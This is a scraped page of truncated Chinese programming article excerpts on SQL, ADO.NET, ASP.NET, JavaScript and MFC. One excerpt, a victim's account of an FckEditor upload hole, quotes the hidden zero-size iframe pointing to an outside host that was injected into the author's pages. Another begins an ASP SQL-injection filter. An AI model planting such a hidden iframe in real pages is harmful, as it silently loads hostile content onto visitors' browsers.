Time of Update: 2018-12-05
在SQLPLUS下,實現中-英字元集轉換alter session set nls_language='AMERICAN';alter session set nls_language='SIMPLIFIED CHINESE'; 主要知識點:一、有關表的操作1)建表create table test as select * from dept; --從已知表複製資料和結構create table test as select * from dept where 1=2;
Time of Update: 2018-12-05
在用DataAdapter獲得資料,填充到DataTable中後,再把DataGridView綁定到DataTable中後,我們可以在DataGridView進行增刪改,然後可以調用DataAdapter的UpData(DataTable),來提交DataGridView中的更改。這個過程表面看來很自然,然後背後都有些什麼東西呢?我們來看一下。 首先,DataGridView綁定到DataTable後,DataTable中的資料就和DataGridView中顯示的資料成為一體,即DataGr
Time of Update: 2018-12-05
1、首先做個實體類Entity.csCodeCode highlighting produced by Actipro CodeHighlighter
Time of Update: 2018-12-05
select * into destTbl from srcTblinsert into destTbl(fld1, fld2) select fld1, 5 from srcTbl以上兩句都是將 srcTbl 的資料插入到 destTbl,但兩句又有區別的。第一句(select into from)要求目標表(destTbl)不存在,因為在插入時會自動建立。第二句(insert into select
Time of Update: 2018-12-05
function showdate(value) { var date = new Date(parseInt(value.replace("/Date(", "").replace(")/", ""), 10)); var y = date.getFullYear(); var M = (date.getMonth() + 1).toString(); if (M.length == 1) { M = '0
Time of Update: 2018-12-05
手工賦值的方法是: 代碼 Code highlighting produced by Actipro CodeHighlighter (freeware)http://www.CodeHighlighter.com/-->News news = new News(); news.Id = int.Parse(Request.Form["Id"]); news.Category = int.Parse(Request.Form["Category"]); news.Title =
Time of Update: 2018-12-05
今天一上伺服器2000多個<iframe src="http://ca.winvv.com/cn.htm" width=0 height=0></iframe> 被注入,我暈!檢查了半天,原來是FckEditor編輯器上傳漏洞導致。在找資料的同時,發現CSS有一個有趣的屬性expression,發現這個東東還有點意思,由此寫出來,“以儆效尤”! 引用:“IE5
Time of Update: 2018-12-05
使用虛擬機器安裝了一個Fedora,然後在登入的時候出現問題,不能以root登入,剛開始我以為是我設定的密碼錯誤了,後來我又重裝了一遍,我深深的記牢了我的root密碼,但是仍然不能登入,後來查了一下,原來是因為fedora考慮到安全問題,一般來說是不可以直接用root使用者登入圖形介面的。可以使用以下方法開啟開啟應用程式(Applications)->系統工具(System Tools)->終端(Terminal)輸入命令:su輸入root的密碼輸入命令:vi /etc/pad.d/
Time of Update: 2018-12-05
通常來說如果出現該錯誤是由於暫存資料表空間空間不足所致,只要給資料表空間添加資料檔案就能解決問題(alter tablespace ts_name add tempfile file_name size n M)。當然最好是檢查應用程式的設計,以最佳化排序操作。 但通過檢查發現應用程式沒有大的排序操作。這時我們就把注意力放在資料表空間的資料檔案上,檢查一下資料檔案的狀態。 SQL> select file#,status from v$tempfile; FILE#
Time of Update: 2018-12-05
模板列<itemtemplate> <asp:Label runat='server' id='lbl1' Text='<%# Eval("MyField") %> '></asp:Label>在RowItemBound事件裡寫Label lbl = (Label)e.row.findControl("lbl1");string str = lbl.Text;if(str.Length > 10) { lbl.Text =
Time of Update: 2018-12-05
NET中運算元字認證,包括如何產生認證、編程操作認證、建立發行者認證等等步驟。.NET為我們提供了運算元字認證的兩個主要的類,分為為:System.Security.Cryptography.X509Certificates.X509Certificate2類,
Time of Update: 2018-12-05
一.用SqlConnection串連SQL Server1..加入命名空間using System.Data.SqlClient;2.串連資料庫SqlConnection myConnection = new SqlConnection();myConnection.C;myConnection.Open();改進(更通用)的方法:string MySqlC;SqlConnection myConnection = new
Time of Update: 2018-12-05
spl> select * from emp where dates between to_date('2007-06-12 10:00:00', 'yyyy-mm-dd hh24:mi:ss') and to_date('2007-06-12 10:00:00', 'yyyy-mm-dd hh24:mi:ss') 當省略HH、MI和SS對應的輸入參數時,Oracle使用0作為DEFAULT值。
Time of Update: 2018-12-05
學MFC,竟然還不知道MFC的MAIN函數在什麼地方?怎麼啟動並執行?實在不高明。看過候捷(JJHOU)老師的《深入淺出MFC》的,對它一定很熟悉。呵呵,本文是獻給沒有看過那本書,但是又很希望學習MFC程式設計的朋友的。(沒有看過那本書的朋友還不趕快去買?)其實本文,主要是對《深入淺出MFC》第六章的一個總結和補充罷了!(本文有該書不同的地方,也有一些筆者自己的見解!)言歸正傳。假如你用AppWizard一步一步NEXT下來,然後在CLASSVIEW中去找尋WINMAIN函數,那麼你只有失望。M
Time of Update: 2018-12-05
//讀取檔案void CFileView::OnFilRead() { // TODO: Add your command handler code here CFile file; TRY { file.Open("lm.txt",CFile::modeRead); } CATCH(CFileException , e) {#ifdef _DEBUG afxDump<<"File could not be open"<<e->m_cause <<"\
Time of Update: 2018-12-05
#include<windows.h>#include<mmsystem.h>//using namespace std;int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPreInstance,PTSTR szCmdLine,int iCmdShow){// MessageBox(NULL,TEXT("hello"),"",MB_OK); mciSendString(" set cdaudio door
Time of Update: 2018-12-05
近段時間由於修改一個ASP程式(有SQL注入漏洞),在網上找了很多相關的一些防範辦法,都不近人意,將現在網上的一些方法綜合改良了一下,寫出這個ASP函數,供參考。Function SafeRequest(ParaName)Dim ParaValueParaValue=Request(ParaName)if IsNumeric(ParaValue) = True thenSafeRequest=ParaValueexit FunctionelseIf Instr(LCase(ParaValue),
Time of Update: 2018-12-05
(一).Web.Config是以XML檔案規格儲存,設定檔分為以下格式 1.配置節處理常式聲明 特點: 位於設定檔的頂部,包含在<configSections>標誌中。 2.特定應用程式配置 特點: 位於<appSetting>中。 可以定義應用程式的全域常量設定等資訊. 3.配置節設定 特點: 位於<system.Web>節中,控制Asp.net運行時的行為. 4.配置節組 特點:
Time of Update: 2018-12-05
自Sql Server線上說明USE AdventureWorks;GOSELECT SalesQuota, SUM(SalesYTD) 'TotalSalesYTD', GROUPING(SalesQuota) AS 'Grouping'FROM Sales.SalesPersonGROUP BY SalesQuota WITH ROLLUP;GO結果集在 SalesQuota 下面顯示兩個空值。第一個 NULL 代表從表中的這一列得到的空值組。第二個 NULL 位於 ROLLUP
Time of Update: 2018-12-05
int *p = new int[10];與int *p = new int(10);的區別前者數組,後者表示為指標賦值10 #pragma comment(linker, "/SECTION:.rdata,ERW") /*讓唯讀節可寫*/#include "stdio.h" #pragma comment(linker,"/SECTION:.rdata,ERW")const cDATA=10;void main() { int *p=(int*)&cDATA; *p=30